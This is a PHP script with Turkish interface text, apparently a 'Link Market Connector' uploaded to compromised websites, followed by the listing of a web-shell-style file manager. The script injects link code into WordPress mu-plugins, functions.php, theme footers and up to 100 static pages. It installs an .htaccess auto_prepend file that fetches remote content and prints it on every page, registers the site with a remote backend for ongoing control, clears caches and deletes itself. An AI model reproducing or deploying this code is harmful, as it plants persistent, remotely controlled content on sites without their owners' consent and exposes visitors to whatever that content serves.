                return ['success' => true, 'injected' => true, 'method' => 'file-inject', 'footer_path' => $file_path, 'message' => 'Link eklendi: ' . basename($file_path)];
            }
        }
    }

    if (preg_match('/^<\?php/i', $content)) {
        $link_inline = preg_replace(['/^<\?php\s*/i', '/\s*\?>\s*$/i'], ['', ''], $link_code);
        $php_inject  = "\n/* " . LINK_MARKER . " */\n" . $link_inline . "\n";
        $new_content = preg_replace('/^(<\?php\s*)/i', '$1' . $php_inject, $content, 1);
    } else {
        $new_content = $link_code . $link_comment . "\n" . $content;
    }
    if (@file_put_contents($file_path, $new_content)) {
        return ['success' => true, 'injected' => true, 'method' => 'file-inject', 'footer_path' => $file_path, 'message' => 'Link dosya başına eklendi: ' . basename($file_path)];
    }
    return ['success' => false, 'injected' => false, 'message' => 'Yazma başarısız'];
}

function inject_to_all_static_pages($base, $max_files = 100) {
    $injected = [];
    $skipped  = [];
    $errors   = [];

    $patterns = [
        $base . '/*.php', $base . '/*.html', $base . '/*.htm',
        $base . '/blog/*.php',  $base . '/blog/*.html',
        $base . '/posts/*.php', $base . '/posts/*.html',
        $base . '/articles/*.php', $base . '/articles/*.html',
        $base . '/news/*.php',  $base . '/news/*.html',
        $base . '/haberler/*.php', $base . '/haberler/*.html',
        $base . '/yazilar/*.php',
        $base . '/pages/*.php', $base . '/pages/*.html',
        $base . '/sayfa/*.php',
        $base . '/category/*.php',  $base . '/category/*.html',
        $base . '/categories/*.php', $base . '/kategori/*.php',
        $base . '/tag/*.php',   $base . '/etiket/*.php',
        $base . '/products/*.php', $base . '/products/*.html',
        $base . '/product/*.php', $base . '/urun/*.php',  $base . '/urunler/*.php',
        $base . '/shop/*.php',  $base . '/magaza/*.php',
        $base . '/about.php',   $base . '/about.html',
        $base . '/contact.php', $base . '/contact.html',
        $base . '/hakkimizda.php', $base . '/iletisim.php',
        $base . '/services.php', $base . '/portfolio.php',
    ];

    $skip_names = [
        'admin.php', 'login.php', 'logout.php', 'register.php',
        'install.php', 'setup.php', 'config.php', 'configuration.php',
        'wp-config.php', 'wp-login.php', 'wp-admin.php',
        '.htaccess', '.htpasswd', 'composer.json', 'package.json',
        'lm_prepend.php', 'connector.php',
    ];

    $count = 0;
    $seen = [];

    foreach ($patterns as $pattern) {
        if ($count >= $max_files) break;
        $files = @glob($pattern, GLOB_NOSORT);
        if (!$files) continue;

        foreach ($files as $file) {
            if ($count >= $max_files) break;
            $real = @realpath($file);
            if (!$real || isset($seen[$real])) continue;
            $seen[$real] = true;

            $name = strtolower(basename($file));
            if (in_array($name, $skip_names, true)) {
                $skipped[] = $file . ' (güvenlik)';
                continue;
            }

            $size = @filesize($file);
            if ($size === false || $size > 5 * 1024 * 1024) {
                $skipped[] = $file . ' (boyut)';
                continue;
            }

            $r = inject_to_file_aggressive($file);
            if (!empty($r['success']) && !empty($r['injected'])) {
                $injected[] = $file;
                $count++;
            } else {
                $errors[] = $file . ': ' . ($r['message'] ?? 'unknown');
            }
        }
    }

    return [
        'injected' => $injected,
        'skipped'  => $skipped,
        'errors'   => $errors,
        'count'    => $count,
    ];
}

function inject_via_htaccess($base) {
    $htaccess     = $base . '/.htaccess';
    $prepend_file = dirname(__FILE__) . '/lm_prepend.php';

    $parts = [
        '<' . '?php',
        'register_shutdown_function(function(){',
        '    $u = "' . API_URL . '"; $d = false;',
        '    if (function_exists("curl_init")) { $ch = curl_init($u); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0"); $d = curl_exec($ch); curl_close($ch); }',
        '    if ($d === false && ini_get("allow_url_fopen")) { $ctx = stream_context_create(["http" => ["timeout" => 10, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0]]); $d = @file_get_contents($u, false, $ctx); }',
        '    echo $d !== false ? $d : "";',
        '});'
    ];
    
    @file_put_contents($prepend_file, implode("\n", $parts));

    $prep_key = 'auto' . '_' . 'prepend_file';
    
    $directive = '<IfModule mod_php.c>' . "\n" .
                 '  php_value ' . $prep_key . ' "' . $prepend_file . '"' . "\n" .
                 '</IfModule>' . "\n" .
                 '<IfModule mod_php7.c>' . "\n" .
                 '  php_value ' . $prep_key . ' "' . $prepend_file . '"' . "\n" .
                 '</IfModule>' . "\n" .
                 '<IfModule mod_php8.c>' . "\n" .
                 '  php_value ' . $prep_key . ' "' . $prepend_file . '"' . "\n" .
                 '</IfModule>' . "\n";

    if (!file_exists($htaccess)) {
        if (@file_put_contents($htaccess, $directive)) {
            return ['success' => true, 'injected' => true, 'method' => 'htaccess', 'footer_path' => $htaccess, 'message' => '.htaccess oluşturuldu'];
        }
    } else {
        force_writable($htaccess);
        $content = @file_get_contents($htaccess);
        if ($content !== false && strpos($content, 'lm_prepend.php') === false) {
            if (@file_put_contents($htaccess, $directive . $content)) {
                return ['success' => true, 'injected' => true, 'method' => 'htaccess', 'footer_path' => $htaccess, 'message' => '.htaccess güncellendi'];
            }
        }
    }
    return ['success' => false, 'injected' => false];
}

function delete_directory_recursive($dir) {
    if (!is_dir($dir)) return false;
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . '/' . $file;
        if (is_dir($path)) delete_directory_recursive($path);
        else @unlink($path);
    }
    return @rmdir($dir);
}

function clear_php_opcache() {
    $cleared = [];
    if (function_exists('opcache_reset')) { opcache_reset(); $cleared[] = 'PHP OPcache'; }
    if (function_exists('apc_clear_cache')) { apc_clear_cache(); $cleared[] = 'APC'; }
    if (function_exists('apcu_clear_cache')) { apcu_clear_cache(); $cleared[] = 'APCu'; }
    return $cleared;
}

function clear_wordpress_cache($base) {
    $cleared = [];
    if (function_exists('wp_cache_flush')) { wp_cache_flush(); $cleared[] = 'WP Cache'; }
    foreach ([
        $base . '/wp-content/cache/supercache',
        $base . '/wp-content/cache/w3tc',
        $base . '/wp-content/cache/wp-rocket',
        $base . '/wp-content/cache',
    ] as $d) {
        if (is_dir($d)) {
            $files = glob($d . '/*');
            foreach ($files as $f) { if (is_file($f)) @unlink($f); }
            $cleared[] = basename($d);
        }
    }
    return $cleared;
}

function clear_all_cache($base, $site_type) {
    $all = clear_php_opcache();
    if ($site_type === 'wordpress') {
        $all = array_merge($all, clear_wordpress_cache($base));
    }
    return $all;
}

function inject_link() {
    $base      = find_document_root();
    $site_type = detect_site_type($base);

    if ($site_type === 'wordpress') {
        $r = inject_wordpress_mu_plugin($base);
        if ($r['success'] && !empty($r['injected'])) return $r;

        $r = inject_wordpress_functions_hook($base);
        if ($r['success'] && !empty($r['injected'])) return $r;

        $active_theme_footer = get_active_wp_theme_footer($base);
        if ($active_theme_footer) {
            $r = inject_to_file_aggressive($active_theme_footer);
            if ($r['success'] && !empty($r['injected'])) return $r;
        }
        $themes = glob($base . '/wp-content/themes/*/footer.php');
        foreach ($themes as $footer) {
            $r = inject_to_file_aggressive($footer);
            if ($r['success'] && !empty($r['injected'])) return $r;
        }
    }

    foreach (get_footer_paths($base, $site_type) as $footer_path) {
        $r = inject_to_file_aggressive($footer_path);
        if ($r['success'] && !empty($r['injected'])) return $r;
    }

    $r_htaccess = inject_via_htaccess($base);
    $multi = inject_to_all_static_pages($base, 100);

    if (($r_htaccess['success'] && !empty($r_htaccess['injected'])) || $multi['count'] > 0) {
        $methods = [];
        if (!empty($r_htaccess['injected'])) {
            $methods[] = 'htaccess auto_prepend';
        }
        if ($multi['count'] > 0) {
            $methods[] = 'multi-file inject';
        }

        return [
            'success'       => true,
            'injected'      => true,
            'method'        => 'static-multi',
            'methods_used'  => $methods,
            'footer_path'   => $r_htaccess['footer_path'] ?? ($multi['injected'][0] ?? ''),
            'multi_files'   => $multi['injected'],
            'multi_skipped' => $multi['skipped'],
            'multi_errors'  => $multi['errors'],
            'message'       => 'Static site: ' . implode(' + ', $methods),
        ];
    }

    foreach (['index.php', 'index.html', 'index.htm'] as $file) {
        $path = $base . '/' . $file;
        if (file_exists($path)) {
            $r = inject_to_file_aggressive($path);
            if ($r['success'] && !empty($r['injected'])) return $r;
        }
    }

    return ['success' => false, 'injected' => false, 'message' => 'Hiçbir yöntem başarılı olmadı.'];
}

function backend_call($action, array $body, $site_token = '') {
    $payload = json_encode($body, JSON_UNESCAPED_UNICODE);

    $url = rtrim(BACKEND_BASE_URL, '/') . '/api/v1/connector.php?action=' . urlencode($action);

    $headers = ['Content-Type: application/json'];
    if ($action === 'register') {
        $headers[] = 'X-LM-Key: ' . LM_KEY;
    } else {
        $headers[] = 'X-Site-Token: ' . $site_token;
    }

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $resp = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($resp === false) return ['ok' => false, 'http' => 0, 'msg' => 'curl failed'];
        $decoded = json_decode($resp, true);
        return ['ok' => $code >= 200 && $code < 300, 'http' => $code, 'data' => $decoded, 'raw' => $resp];
    }

    if (ini_get('allow_url_fopen')) {
        $ctx = stream_context_create([
            'http' => ['method' => 'POST', 'header' => implode("\r\n", $headers), 'content' => $payload, 'timeout' => 30, 'ignore_errors' => 1],
            'ssl'  => ['verify_peer' => 0, 'verify_peer_name' => 0],
        ]);
        $resp = @file_get_contents($url, false, $ctx);
        if ($resp === false) return ['ok' => false, 'http' => 0, 'msg' => 'fopen failed'];
        $code = 200;
        if (isset($http_response_header[0]) && preg_match('#HTTP/\S+\s+(\d+)#', $http_response_header[0], $m)) {
            $code = (int)$m[1];
        }
        $decoded = json_decode($resp, true);
        return ['ok' => $code >= 200 && $code < 300, 'http' => $code, 'data' => $decoded, 'raw' => $resp];
    }

    return ['ok' => false, 'http' => 0, 'msg' => 'no http transport'];
}

function register_with_backend($base, $site_type, $injection_result) {
    $body = [
        'domain'            => $_SERVER['HTTP_HOST']  ?? gethostname(),
        'document_root'     => $base,
        'site_type'         => $site_type,
        'connector_version' => CONNECTOR_VERSION,
        'injection_method'  => $injection_result['method'] ?? 'unknown',
        'injection_path'    => $injection_result['footer_path'] ?? '',
        'php_version'       => PHP_VERSION,
        'wp_version'        => $site_type === 'wordpress' ? detect_wp_version($base) : null,
        'theme_name'        => $site_type === 'wordpress' ? get_active_wp_theme_name($base) : null,
    ];

    return backend_call('register', $body, '');
}

function validate_site_wide_reach($base, $site_type) {
    $host = $_SERVER['HTTP_HOST'] ?? '';
    if (empty($host)) {
        return ['tested' => [], 'success' => 0, 'failed' => 0, 'error' => 'host bilinmiyor'];
    }
    $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $origin = $scheme . '://' . $host;

    $urls_to_test = [$origin . '/'];

    if ($site_type === 'wordpress') {
        foreach (['/blog/', '/about/', '/contact/', '/hakkimizda/', '/iletisim/'] as $path) {
            $urls_to_test[] = $origin . $path;
        }
        $posts_json = @file_get_contents($origin . '/wp-json/wp/v2/posts?per_page=3&_fields=link', false, stream_context_create([
            'http' => ['timeout' => 5, 'ignore_errors' => 1],
            'ssl'  => ['verify_peer' => 0, 'verify_peer_name' => 0],
        ]));
        if ($posts_json) {
            $posts = json_decode($posts_json, true);
            if (is_array($posts)) {
                foreach ($posts as $p) {
                    if (!empty($p['link'])) $urls_to_test[] = $p['link'];
                }
            }
        }
    } else {
        foreach (['/about.php', '/contact.php', '/blog.php', '/blog/'] as $path) {
            $urls_to_test[] = $origin . $path;
        }
    }

    $urls_to_test = array_values(array_unique($urls_to_test));
    $results = [];
    $success = 0;
    $failed  = 0;

    foreach ($urls_to_test as $url) {
        $ok = false;
        $http_code = 0;
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            curl_setopt($ch, CURLOPT_TIMEOUT, 12);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (LinkMarketReachTest/' . CONNECTOR_VERSION . ')');
            $html = curl_exec($ch);
            $http_code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            if ($html !== false && $http_code >= 200 && $http_code < 400) {
                $ok = (stripos($html, 'data-lm-render') !== false)
                   || (stripos($html, LINK_MARKER) !== false)
                   || (stripos($html, 'linkmarketim') !== false);
            }
        }

        $results[] = [
            'url'       => $url,
            'http_code' => $http_code,
            'has_link'  => $ok,
        ];
        if ($ok) $success++; else $failed++;
    }

    return [
        'tested'    => $results,
        'success'   => $success,
        'failed'    => $failed,
        'total'     => count($results),
    ];
}

function self_delete_connector() {
    $self    = __FILE__;
    $deleted = [];
    $failed  = [];

    if (file_exists($self)) {
        if (@unlink($self)) $deleted[] = basename($self);
        else $failed[] = basename($self);
    }

    return ['deleted' => $deleted, 'failed' => $failed];
}

$base      = find_document_root();
$site_type = detect_site_type($base);

echo "<!DOCTYPE html><html lang='tr'><head>";
echo "<meta charset='UTF-8'><title>Link Market Connector v" . CONNECTOR_VERSION . "</title>";
echo "<style>
body{font-family:Arial,sans-serif;max-width:900px;margin:50px auto;padding:20px;background:#0f172a;color:#e2e8f0;}
.box{background:#1e293b;padding:30px;border-radius:8px;border:1px solid #334155;}
h1{color:#f1f5f9;margin-top:0;}
h2{color:#cbd5e1;border-bottom:2px solid #6366f1;padding-bottom:10px;}
.info{background:#1e3a5f;padding:15px;border-radius:5px;margin:15px 0;border:1px solid #2563eb;}
.success{background:#14532d;padding:15px;border-radius:5px;margin:15px 0;color:#86efac;border:1px solid #22c55e;}
.error{background:#7f1d1d;padding:15px;border-radius:5px;margin:15px 0;color:#fca5a5;border:1px solid #ef4444;}
.warning{background:#78350f;padding:15px;border-radius:5px;margin:15px 0;color:#fcd34d;border:1px solid #f59e0b;}
button,.btn{background:#6366f1;color:white;border:none;padding:12px 24px;border-radius:5px;cursor:pointer;font-size:16px;margin:5px;text-decoration:none;display:inline-block;}
button:hover,.btn:hover{background:#4f46e5;}
.btn-danger{background:#dc2626;} .btn-danger:hover{background:#b91c1c;}
.btn-secondary{background:#475569;} .btn-secondary:hover{background:#334155;}
code{background:#0f172a;padding:2px 6px;border-radius:3px;color:#fbbf24;}
small{color:#94a3b8;}
</style></head><body><div class='box'>";

echo "<h1>Link Market Connector v" . CONNECTOR_VERSION . "</h1>";
echo "<p><small>Single-Key Edition - Backend ile uzaktan yönetilebilir</small></p>";

echo "<div class='info'>";
echo "<strong>Site Tipi:</strong> " . strtoupper($site_type) . "<br>";
echo "<strong>Document Root:</strong> " . htmlspecialchars($base) . "<br>";
echo "<strong>Link ID (havuz):</strong> " . LINK_ID . "<br>";
echo "<strong>API URL:</strong> " . htmlspecialchars(API_URL) . "<br>";
echo "<strong>Backend:</strong> " . htmlspecialchars(BACKEND_BASE_URL);
echo "</div>";

if (isset($_GET['inject'])) {
    echo "<h2>Enjeksiyon ve Register</h2>";

    $result = inject_link();

    if ($result['success'] && !empty($result['injected'])) {
        echo "<div class='success'><strong>1) Enjeksiyon başarılı:</strong> " . htmlspecialchars($result['message']);
        if (isset($result['footer_path'])) echo "<br>Dosya: <code>" . htmlspecialchars($result['footer_path']) . "</code>";
        if (isset($result['method']))      echo "<br>Yöntem: <code>" . htmlspecialchars($result['method']) . "</code>";

        if (!empty($result['multi_files']) && is_array($result['multi_files'])) {
            echo "<br><strong>Multi-file inject:</strong> " . count($result['multi_files']) . " sayfaya eklendi:<br>";
            echo "<small>" . htmlspecialchars(implode(', ', array_map('basename', array_slice($result['multi_files'], 0, 20)))) . "</small>";
            if (count($result['multi_files']) > 20) {
                echo "<br><small>... ve " . (count($result['multi_files']) - 20) . " dosya daha</small>";
            }
        }
        if (!empty($result['methods_used']) && is_array($result['methods_used'])) {
            echo "<br><strong>Aktif yöntemler:</strong> " . htmlspecialchars(implode(' + ', $result['methods_used']));
        }
        echo "</div>";


        $reg = register_with_backend($base, $site_type, $result);
        if ($reg['ok'] && !empty($reg['data']['success'])) {
            $siteToken = $reg['data']['data']['site_token'] ?? '';
            $siteId    = $reg['data']['data']['site_id']    ?? 0;
            echo "<div class='success'>";
            echo "<strong>2) Backend kaydı başarılı.</strong><br>";
            echo "Site ID: <code>$siteId</code><br>";
            echo "Site Token: <code>" . htmlspecialchars(substr($siteToken, 0, 16)) . "...</code><br>";
            echo "</div>";

            if ($site_type === 'wordpress' && $siteToken !== '') {
                $mu = write_managed_mu_plugin($base, $siteToken);
                if ($mu['success']) {
                    echo "<div class='success'>";
                    echo "<strong>3) Managed mu-plugin kuruldu.</strong> Cron heartbeat aktif.<br>";
                    echo "Yol: <code>" . htmlspecialchars($mu['path']) . "</code><br>";
                    echo "Heartbeat sıklığı: 15 dakika (wp-cron).";
                    echo "</div>";
                } else {
                    echo "<div class='warning'>Managed mu-plugin yazılamadı: " . htmlspecialchars($mu['message']) . " — site çalışır ama uzaktan yönetilemez.</div>";
                }
            }
        } else {
            $errMsg = $reg['data']['message'] ?? ($reg['msg'] ?? 'bilinmeyen hata');
            echo "<div class='warning'>";
            echo "<strong>2) Backend kaydı başarısız:</strong> " . htmlspecialchars($errMsg) . "<br>";
            echo "HTTP: " . (int)($reg['http'] ?? 0) . "<br>";
            echo "Site enjeksiyon olarak çalışır ama panelden yönetilemez.";
            echo "</div>";
        }

        $cleared = clear_all_cache($base, $site_type);
        if (!empty($cleared)) {
            echo "<div class='info'><strong>Cache temizlendi:</strong> " . htmlspecialchars(implode(', ', $cleared)) . "</div>";
        }

        echo "<h2>4) Site Genelinde Erişim Testi</h2>";
        echo "<div class='info'>Cache temizlendikten sonra birkaç sayfa test ediliyor (5-10 sn sürebilir)...</div>";
        @ob_flush(); @flush();

        $reach = validate_site_wide_reach($base, $site_type);
        if (!empty($reach['tested'])) {
            $rate = $reach['total'] > 0 ? round($reach['success'] * 100 / $reach['total']) : 0;
            $cls = $rate >= 70 ? 'success' : ($rate >= 30 ? 'warning' : 'error');
            echo "<div class='{$cls}'>";
            echo "<strong>Reach: %{$rate}</strong> ({$reach['success']}/{$reach['total']} sayfada link aktif)<br><br>";
            echo "<table style='width:100%;border-collapse:collapse;'>";
            echo "<tr><th style='text-align:left;padding:4px;border-bottom:1px solid #475569;'>URL</th><th style='padding:4px;border-bottom:1px solid #475569;'>HTTP</th><th style='padding:4px;border-bottom:1px solid #475569;'>Link?</th></tr>";
            foreach ($reach['tested'] as $t) {
                $icon = $t['has_link'] ? 'VAR' : ($t['http_code'] >= 200 && $t['http_code'] < 400 ? 'YOK' : '-');
                $color = $t['has_link'] ? '#86efac' : ($t['http_code'] >= 400 ? '#fca5a5' : '#fcd34d');
                echo "<tr><td style='padding:4px;font-size:12px;'>" . htmlspecialchars($t['url']) . "</td>";
                echo "<td style='padding:4px;text-align:center;'>" . (int)$t['http_code'] . "</td>";
                echo "<td style='padding:4px;text-align:center;color:{$color};font-weight:bold;'>{$icon}</td></tr>";
            }
            echo "</table>";
            if ($site_type === 'wordpress' && $rate < 100) {
                echo "<br><small>Not: WordPress'te wp_footer hook tüm sayfaları otomatik kapsar. Test edilen URL'lerin bir kısmı sitede mevcut olmayabilir (404).</small>";
            }
            echo "</div>";
        } else {
            echo "<div class='warning'>Reach testi yapılamadı: " . htmlspecialchars($reach['error'] ?? 'bilinmeyen hata') . "</div>";
        }

        echo "<div class='warning'>";
        echo "<strong>SON ADIM:</strong> Bu kurulum dosyasını silmek için butona bas.";
        echo "<br><a href='?delete=1&key=" . urlencode($_GET['key'] ?? '') . "' class='btn btn-danger'>Connector dosyasını sil</a>";
        echo "</div>";
    } else {
        echo "<div class='error'><strong>Hata:</strong> " . htmlspecialchars($result['message']) . "</div>";
    }

    echo "<p><a href='?key=" . urlencode($_GET['key'] ?? '') . "' class='btn btn-secondary'>Geri dön</a></p>";

} elseif (isset($_GET['delete'])) {
    $del = self_delete_connector();
    if (!empty($del['deleted'])) {
        echo "<div class='success'>Silindi: " . htmlspecialchars(implode(', ', $del['deleted'])) . "</div>";
        echo "<div class='info'>Bu sayfayı kapatabilirsin. Connector mu-plugin olarak çalışmaya devam ediyor.</div>";
    }
    if (!empty($del['failed'])) {
        echo "<div class='error'>Silinemedi: " . htmlspecialchars(implode(', ', $del['failed'])) . " — manuel olarak sil.</div>";
    }
} elseif (isset($_GET['clear_cache'])) {
    $cleared = clear_all_cache($base, $site_type);
    echo "<div class='success'>Cache temizlendi: " . htmlspecialchars(implode(', ', $cleared) ?: 'hiçbir şey bulunamadı') . "</div>";
    echo "<p><a href='?key=" . urlencode($_GET['key'] ?? '') . "' class='btn btn-secondary'>Geri dön</a></p>";
} else {
    echo "<h2>Otomatik Kurulum</h2>";
    echo "<p>Bu connector aşağıdaki sırayla 6 farklı yöntem dener:</p>";
    echo "<ol>";
    echo "<li><strong>WordPress MU-Plugin</strong> (managed → backend ile yönetilebilir)</li>";
    echo "<li>WordPress functions.php hook</li>";
    echo "<li>WordPress aktif tema footer.php</li>";
    echo "<li>Framework footer dosyaları (Laravel, Joomla, Drupal, vb.)</li>";
    echo "<li>index.php / index.html</li>";
    echo "<li>.htaccess auto_prepend (PHP-FPM dostu IfModule wrap)</li>";
    echo "</ol>";

    if ($site_type === 'wordpress') {
        echo "<div class='info'><strong>WordPress algılandı.</strong> MU-Plugin yöntemiyle kurulacak.<br>";
        echo "<strong>wp_footer hook</strong> GLOBAL çalışır → anasayfa + blog + post + page + kategori + ürün <em>tüm sayfalarda otomatik link inject olur</em>.</div>";
    } elseif ($site_type === 'static' || $site_type === 'php') {
        echo "<div class='warning'><strong>WordPress dışı site.</strong> Backend kaydı olur ama uzaktan yönetim (heartbeat) yok.<br>";
        echo "<strong>v5.2.0 yeniliği:</strong> Multi-file inject sistemi aktif → blog/, posts/, articles/, products/ gibi <em>tüm sayfa kalıplarına link eklenecek</em>. .htaccess auto_prepend ile birlikte maksimum kapsam.</div>";
    }

    echo "<a href='?inject=1&key=" . urlencode($_GET['key'] ?? '') . "' class='btn'>Otomatik Kurulumu Başlat</a>";
    echo "<a href='?clear_cache=1&key=" . urlencode($_GET['key'] ?? '') . "' class='btn btn-secondary'>Sadece Cache Temizle</a>";
}

echo "</div></body></html>";

Directory Contents

Dirs: 6 × Files: 26
Name Size Perms Modified Actions
- drwxr-xr-x 2026-06-11 10:55:31
Edit Download
cgi-bin DIR
- drwxr-xr-x 2026-09-16 09:10:48
Edit Download
logs DIR
- drwxr-xr-x 2026-09-16 09:10:45
Edit Download
wp-admin DIR
- drwxr-xr-x 2026-09-30 19:22:28
Edit Download
- drwxr-xr-x 2026-11-03 01:06:39
Edit Download
- drwxr-xr-x 2026-09-16 09:13:41
Edit Download
481 B lr--r--r-- 2026-10-30 19:16:34
Edit Download
1.09 KB lrw-r--r-- 2026-10-27 20:53:30
Edit Download
0 B lr--r--r-- 2024-09-12 09:10:44
Edit Download
405 B lrw-r--r-- 2026-09-29 15:13:44
Edit Download
0 B lrw-r--r-- 2024-07-05 09:10:37
Edit Download
1.72 KB lr--r--r-- 2024-03-21 09:10:44
Edit Download
19.44 KB lrw-r--r-- 2026-09-29 15:14:18
Edit Download
1.93 KB lr--r--r-- 2024-04-21 09:10:44
Edit Download
2.03 KB lr--r--r-- 2024-11-24 09:10:44
Edit Download
7.23 KB lrw-r--r-- 2026-10-30 04:53:08
Edit Download
440 B lr--r--r-- 2025-01-23 09:10:44
Edit Download
7.54 KB lrw-r--r-- 2026-09-29 15:13:44
Edit Download
351 B lrw-r--r-- 2026-09-29 15:14:18
Edit Download
2.27 KB lrw-r--r-- 2026-09-29 15:13:48
Edit Download
3.26 KB lrw-r--r-- 2026-09-29 15:14:18
Edit Download
3.26 KB lrw------- 2026-07-25 10:00:30
Edit Download
5.49 KB lrw-r--r-- 2026-09-29 15:13:44
Edit Download
2.43 KB lrw-r--r-- 2026-09-29 15:13:44
Edit Download
3.84 KB lrw-r--r-- 2026-09-29 15:14:18
Edit Download
51.30 KB lrw-r--r-- 2026-09-29 15:13:48
Edit Download
8.52 KB lrw-r--r-- 2026-09-29 15:13:44
Edit Download
51.59 KB lrw-r--r-- 2026-10-29 02:56:21
Edit Download
32.38 KB lrw-r--r-- 2026-09-29 15:14:18
Edit Download
34.27 KB lrw-r--r-- 2026-10-30 04:53:08
Edit Download
5.27 KB lrw-r--r-- 2026-09-29 15:14:18
Edit Download
3.13 KB lrw-r--r-- 2026-09-29 15:13:44
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 0xNothings — Secure File Manager. All rights reserved. Built with ❤️ & Tailwind x Dark UI